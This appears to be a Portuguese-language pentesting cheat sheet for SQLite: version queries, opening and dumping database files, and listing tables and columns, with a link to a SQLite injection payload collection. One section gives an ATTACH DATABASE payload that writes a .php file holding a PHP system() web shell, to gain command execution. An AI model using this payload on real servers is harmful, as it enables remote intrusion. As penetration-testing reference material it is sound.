SQLite

Versão do SQLite

select sqlite_version();

Acessando Arquivo Database

Caso tenho um arquivo com o database (por exemplo: database.db), podemos acessá-lo com o comando abaixo:

sqlite3 <file.db>

Ao acessar o arquivo com êxito, irá entrar em um terminal interativo, onde pode inserir os devidos comandos para acessar/manipular o bando de dados. Para ver o help do sqlite, utilize o seguinte comando:

.help

Utilize o comando file <file.db> para verificar se o arquivo é um Sqlite.

É possível executar um comando/query sem precisar abrir o modo interativo do sqlite. No exemplo abaixo estamos utilizando o comando .dump (que server para fazer um dump do banco de dados já na tela), mas pode ser substituído por qualquer outro

sqlite3 <file.db> '.dump'

Criando Database como PHP

O objetivo desse comando é criar um database como extensão PHP e depois executá-lo

ATTACH DATABASE '<new_file.php>' as newtab; CREATE TABLE newtab.'<?php system("<command>")?>' (new_field TEXT);

Extraindo Nome das Tabelas

Utilize um dos comandos abaixo

.tables
.table
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

Extraindo Colunas da Tabela

.schema <table>
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='<table_name>'

Sites

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL Injection/SQLite Injection.md

Last updated